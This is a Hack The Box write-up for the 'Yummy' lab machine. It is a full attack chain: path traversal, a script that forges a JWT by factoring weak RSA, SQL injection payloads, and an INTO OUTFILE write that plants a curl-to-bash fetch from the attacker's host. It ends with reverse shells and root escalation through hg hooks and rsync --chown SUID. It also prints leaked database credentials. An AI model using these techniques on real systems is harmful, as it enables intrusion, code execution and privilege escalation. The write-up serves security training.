Post

HTB Yummy Writeup

Yummy is a hard-level Linux machine on HTB, which released on October 5, 2024.

HTB Yummy Writeup

Box Info

Yummy starts off by discovering a web server on port 80. Registering a account and logging in vulnurable export function results with local file read. Abusing this attacker can find files from crontab. Files found on crontab gives a vulnurable jwt token creator, reversing this a admin token can be created. With this token, web page gives the admindashboard which has a sql injection vulnerability. Using the a webshell is obtained as mysql user. Www-data shell can also be obtained using the previous cronjob found. Enumerating the www folder gives a hidden file which has credentials for qa user. qa user can execute hg pull as dev user. Abusing post-pull hooks results with dev user shell. Dev user can execute rsync as root user. Abusing this attacker can run commands or files as root.

Recon

nmap

Nmap finds only ports 22 and 80 open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ nmap -sVC 10.129.40.203
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 21:38 +03
Nmap scan report for 10.129.40.203 (10.129.40.203)
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.29 seconds

Also gives the domain on port 80 as yummy.htb. Adding it to the /etc/hosts file.

1
2
# Others
10.129.40.203 yummy.htb

Yummy.htb - Port 80

Got a restaurant web page. w1

Registering a account and logging in, gives us /dashboard. Seems like we can view reservations after creating one on book a table. w1

Creating a reservation at /#book-a-table and we can save it using ICALENDAR. w1

Save to ICalendar downloads the file to my machine. Trying to examine the file using exiftool but nothing useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp]
└──╼ $ exiftool Yummy_reservation_20241023_190232.ics 
ExifTool Version Number         : 12.57
File Name                       : Yummy_reservation_20241023_190232.ics
Directory                       : .
File Size                       : 270 bytes
File Modification Date/Time     : 2024:10:23 22:02:42+03:00
File Access Date/Time           : 2024:10:23 22:02:42+03:00
File Inode Change Date/Time     : 2024:10:23 22:03:38+03:00
File Permissions                : -rw-r--r--
File Type                       : ICS
File Type Extension             : ics
MIME Type                       : text/calendar
VCalendar Version               : 2.0
Software                        : ics.py - http://git.io/lLljaA
Description                     : Email: suce@yummy.htb.Number of People: 1.Message: adada
Date Time Start                 : 2024:10:23 00:00:00Z
Summary                         : suce
UID                             : 2d0e09d7-c07c-4f3e-be00-f398dc7e8dc9@2d0e.org

Shell as mysql

Local File Read

Intercepting the request using Burp, site uses /export to read from a local file and download it. w1

Trying to read /etc/passwd with /export/../../../../../etc/passwd and it’s successful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp]
└──╼ $ cat passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

Trying to read /proc/self/environ and /proc/self/cmdline to find something useful from the app hosts the web page but both gives a blank file. /etc/crontab gives some cron jobs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/lfi]
└──╼ $ cat crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Let’s read the scripts in the /data/scripts/.

app_backup.sh is removing the backupapp.zip in web folder and moves the current web folder to /opt/app as zip. Let’s also download the backupapp.zip from /var/www/.

1
2
3
4
5
6
7
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/lfi]
└──╼ $ cat app_backup.sh 
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

table_cleanup.sh is cleaning the tables in mysql and there is a credential.

1
2
3
4
5
┌─[✗]─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/lfi]
└──╼ $ cat table_cleanup.sh 
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

And finally, dbmonitor.sh checks if mysql service is down and fixes using a fixing script in /data/scripts/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ cat lfi/dbmonitor.sh 
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

Unzipping the backupapp.zip gives the source code for web application. App.py has the same creds as table_cleanup.sh, nothing new.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp/opt/app]
└──╼ $ ls
app.py  config  middleware  __pycache__  static  templates
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp/opt/app]
└──╼ $ cat app.py
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

access_token = ''

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
.
.
.
.


if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)

Also reviewing the /config folder, there is signature.py file which is used to create the session tokens in web app.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp/opt/app]
└──╼ $ cd config/
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp/opt/app/config]
└──╼ $ ls
__pycache__  signature.py
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy/temp/opt/app/config]
└──╼ $ cat signature.py 
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

JWT Token Vuln

The major problem in this session tokens when the jwt token is decoded from base64, it reveals the n value of RSA encryption. w1

Normally, if i just change role and encode with base64 it will fail beacuse we are changing the signature. When a JWT is created, the signature is generated by hashing the header and payload with a secret key (HMAC) or by using a private key (RSA/ECDSA. This signature acts as a seal for the token, ensuring it hasn’t been tampered with.But knowing the n value, with a few modifications on signature.py and little help from chatgpt we can create a admin token using python script below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
import jwt
import base64

#Enter your session token
original_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InN1Y2VAeXVtbXkuaHRiIiwicm9sZSI6ImN1c3RvbWVyXzk3MTMwNGU0IiwiaWF0IjoxNzI4NDA1NzQ3LCJleHAiOjE3Mjg0MDkzNDcsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTYwOTAxMDQyMjM0OTI0MDM3MjI1NTU2MDMzNzk5ODMyNTAzNzMzOTcxMzYxMzk5NzY1NDkzOTA5ODkyMTkwOTYzMzE1MTk2MjAwNTIzNTAyMzgwOTk1MzQ1OTg1OTQwMTAxMTY1ODg1NTc0MTg5NDAyMjY1ODI4ODk2MDI1OTI2MjU3Njk0NzM1MjU4MzMxOTI2ODIwMzU5OTQ5MjYyMzU1NTE5MDM2NTQ1NDQ0MjI5MzM0Mzg0Nzk5ODEwOTA1MDM3NTk0OTAyNDYxMTI4OTcxODI5NzIwNzQ1MDM1NjQyODI1MTkwOTAwMzE1OTEwNzcxMjM2NzU1NjcxMTgxMjk2MjE5MzkyODQ3ODc4OTIzMDY4ODgxNjIyOTE1NjM2NzQ4MDcyNjUzOTUwMzcyMjA4Nzc2NzU5MTIzIiwiZSI6NjU1Mzd9fQ.C48zA1-mU_GYLLpYhIkE9aT_QKtZ3qe7Jj3pk0yMrEtbDw3Shg6IbOORaFr8ID0N9sDcc-KMd5ZQ0fbEuhMnXDtCT4HwMojeeHOQI68UeQFZ80Po3aUCcANcs7OHswndGTc2mtt3O5F95koPSVZWj5K3bztTVCgco2H-OxmC78Uaz1A"
s = original_jwt.split(".")[1].encode()
s = base64.b64decode(s + b'=' * (-len(s) % 4)).decode()
n = int(s.split('"n":')[1].split('"')[1])

# Example: n = p * q (e.g., 3 * 11)
e = 65537   # Example public exponent

# Factor n to find p and q
factors = sympy.factorint(n)  # Returns a dictionary of prime factors
p, q = list(factors.keys())

# Compute φ(n)
phi_n = (p - 1) * (q - 1)

# Compute d
d = pow(e, -1, phi_n)

#print(f"p: {p}, q: {q}, d: {d}")

key = RSA.construct((n, e, d, p, q))
signing_key = key.export_key()
#print(private_key_bytes)

decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})
#print(decoded_payload)
# Modify the role value
decoded_payload['role'] = 'administrator'

# Re-encode the JWT
new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')

print(new_jwt)

Executing the script and changing the session token with new token gives the /admindashboard page.

w1

SQL Injection

Checking the admindashboard, we can only cancel appointments but there is also a search function.

w1

Saving the request and using sqlmap finds a easy sql injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ sqlmap -r sql --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.8.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:03:08 /2024-10-30/

[22:03:08] [INFO] parsing HTTP request from 'sql'
Cookie parameter 'X-AUTH-Token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[22:03:08] [INFO] resuming back-end DBMS 'mysql' 
[22:03:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: o (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: s=a&o=ASC,(SELECT (CASE WHEN (8156=8156) THEN 1 ELSE 8156*(SELECT 8156 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: error-based
    Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
    Payload: s=a&o=ASC,EXTRACTVALUE(3351,CONCAT(0x5c,0x7162786a71,(SELECT (ELT(3351=3351,1))),0x717a7a7671))

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: s=a&o=ASC;SELECT SLEEP(5)#
---
[22:03:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0

Only appointments and users tables in db. Dumping the users table gave a blank data so let’s enumerate our privileges. We can read and write.

1
2
3
database management system users privileges:
[*]'chef'@'localhost' [1]:
    privilege: FILE

We need to write something which will give us a shell. Remember mysql user was executing dbmonitor.sh as cronjob and restarts the mysql server if it’s down. But there is also a else statement which does if dbstatus.json exits and doesn’t include database is down text, it deletes the .json file and executes the first fixer-v file in /data/scripts.

1
2
3
4
5
6
7
8
9
10
11
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"

Now if we first write something to dbstatus.json then create a file named fixer-v___ which is going to be first file in directory beacuse of the _, the file is going to be executed as mysql user. Using the requests below gives a connection back.

1
2
http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"pwned"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b
http://yummy.htb/admindashboard?s=aa&o=ASC%3b+select+"curl+10.10.16.20:8000/shell.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 
1
2
3
4
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.231.153 - - [30/Oct/2024 22:37:02] "GET /shell.sh HTTP/1.1" 200 -
1
2
3
4
5
6
7
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.20] from (UNKNOWN) [10.129.231.153] 33738
bash: cannot set terminal process group (6088): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$

There is not much to do with mysql user, we already know db doesn’t give anything.

Shell as www-data

Similar to mysql user, there is a cronjob as www-data.

1
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh

Changing this script with a simple revshell will get a connection from www-data.

1
2
3
4
5
6
7
8
mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.old
mv app_backup.sh app_backup.old
mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
mv shell.sh app_backup.sh
mysql@yummy:/data/scripts$ ls
ls
app_backup.old	dbmonitor.sh	 sqlappointments.sql
app_backup.sh	fixer-v1.0.1.sh  table_cleanup.sh
1
2
3
4
5
6
7
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.20] from (UNKNOWN) [10.129.231.153] 42840
bash: cannot set terminal process group (8504): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$

Shell as qa user

Enumerating /var/www/, there is the same /app/ folder we found from backuppapp.zip but this time it has a hidden .hg folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
www-data@yummy:~$ ls
ls
app-qatesting
backupapp.zip
www-data@yummy:~$ cd app-qatesting
cd app-qatesting
www-data@yummy:~/app-qatesting$ ls -la
ls -la
total 40
drwxrwx--- 7 www-data qa        4096 May 28 14:41 .
drwxr-xr-x 3 www-data www-data  4096 Oct 30 20:53 ..
-rw-rw-r-- 1 qa       qa       10852 May 28 14:37 app.py
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 config
drwxrwxr-x 6 qa       qa        4096 May 28 14:37 .hg
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 middleware
drwxr-xr-x 6 qa       qa        4096 May 28 14:26 static
drwxr-xr-x 2 qa       qa        4096 May 28 14:26 templates
www-data@yummy:~/app-qatesting$ cd .hg
cd .hg
www-data@yummy:~/app-qatesting/.hg$ ls -la
ls -la
total 64
drwxrwxr-x 6 qa       qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa       qa   57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 branch
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa       qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28 14:26 requires
drwxrwxr-x 4 qa       qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa       qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 wcache

There are too many files so before i search them, i like to look for creds using grep. And got a match in app.py.i.

1
2
3
4
www-data@yummy:~/app-qatesting/.hg$ grep -r pass .   
grep -r pass .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches

Viewing the file gives the password for qa user. (Password not Shown)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@yummy:~/app-qatesting/.hg$ cat store/data/app.py.i
cat store/data/app.py.i
	�!_��������qn�l��*��!�E�K�0v�K(�/�`_ MOj_ +�=L�3R���Zk�
��QL���{2�d\WQP] ���d��|(^����7�o�h�忩[���U[��=���!�~�33��R"�,�.Ah�z�x�����R�_�Y֓nS��s�Ч����
.
.
.
.
       E1(�/� ��$�&'app.secret_key = s.token_hex(32)
&u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
�ɕp=��E(������##md5�P�����+v�Kw9    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
EJ*������uY�0��+2ܩ-]%���(�(�/�`O
�<.`������6�߽��}�v�v�@P��D�2ӕ�_�B�Mu;G
                                     �.-1
                                         ��D�	�kk��Y益H���ΣVps
                                                                �K�a�0�VW��;h�������B�
      ;ó~z�q�{�+>=�O_�q6� �"V˺&f�*�T㔇D��퍂��@��V([Q���������̋G��φ����>GQ$
�D��,3�eJoH|j�)�(𶠀yh]��6����~Z�[hY�
                                    �	�w�4L
{��]�ߚ�D������f�:�����s)�����}               �3�ZШ�݆{S?�m��*H�چ���V3�Y�(��]���
 ��L��S�eE��6K�6    'user': 'qa',
    'password': 'jPA************',
&E&�&�'#'�'Y
�d�|�p$bJJKx8�D'<a��Z���byh�U�v�]��厒�4�www-data@yummy:~/app-qatesting/.hg$

User flag can be found in /home/qa/user.txt.

Shell as dev user

After ssh into qa user, sudo -l says we can execute /usr/bin/hg as dev user.

1
2
3
4
5
6
7
8
9
10
qa@yummy:~$ sudo -l
[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/
qa@yummy:~$

When executed says permission denied. Probably denied beacuse dev can’t see qa folder.

1
2
3
qa@yummy:~$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
abort: Permission denied: '/home/qa/.hg'
qa@yummy:~$

hg pull

The /usr/bin/hg is a version control system similar to git which allows you to pull or copy files and repos. If you don’t know anything about these tools, a little research will be really helpful. Both programs use hooks to trigger certain events after pulling,committing and updating. Using these hooks we can execute a script after pull is done. First a .hgrc config file is needed to perform a hook. Let’s use the .hgrc in /home/qa/ and add the following line [hooks]\npost-pull = /tmp/shell.sh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
qa@yummy:~$ cat .hgrc 
# example user config (see 'hg help config' for more info)
[ui]
# name and email, e.g.
# username = Jane Doe <jdoe@example.com>
username = qa

.
.
.
.

[trusted]
users = qa, dev
groups = qa, dev

[hooks]
post-pull = /tmp/shell.sh

Creating the files in /tmp/ so every user can interact with it. Create .hg directory in /tmp/. chmod 777 .hg to give write and read access. Lastly copy the .hgrc file to /tmp/.hg/ from /home/qa/. Do these in 1 line beacuse it might get deleted by the machine if you are slow. After everything is done, a connection back is obtained from dev user.

1
2
3
4
5
6
7
8
9
10
11
12
qa@yummy:~$ cd /tmp;mkdir .hg;chmod 777 .hg;cp /home/qa/.hgrc /tmp/.hg/hgrc
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
[sudo] password for qa: 
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
(run 'hg update' to get a working copy)

1
2
3
4
5
6
┌─[suce@parrot]─[~/Desktop/htbMachines/hard-yummy]
└──╼ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.14] from (UNKNOWN) [10.129.157.214] 57058
I'm out of office until November  2th, don't call me
dev@yummy:/tmp$

Shell as root

sudo -l as dev gives the following.

1
2
3
4
5
6
7
8
9
10
11
dev@yummy:~/app-production$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg
        /home/dev/app-production/* /opt/app/
dev@yummy:~/app-production$

rsync

rsync is a tool for Synchronizing files and directories between location. We can use rsync between /app-production/ and /opt/app with -a which preserves permissions. Executing the command copies the files in /app-production to /opt/app but beacuse of -a flag the owner of the files stays as dev. Noticed that the --chown flag can be used to change the owner to root. And if we set a suid for the file, we can execute the file with root privilege.

1
2
3
4
5
6
dev@yummy:~$ cp /bin/bash app-production/bash
cp /bin/bash app-production/exploit
dev@yummy:~$ chmod u+s app-production/bash
chmod u+s app-production/bash
dev@yummy:~$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/

bash -p executes with root privilege. Root flag can be found in /root/root.txt.

1
2
3
4
5
6
7
8
9
dev@yummy:~$ /opt/app/bash -p
/opt/app/bash -p
whoami
root
id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
ls /root
root.txt
scripts
This post is licensed under CC BY 4.0 by the author.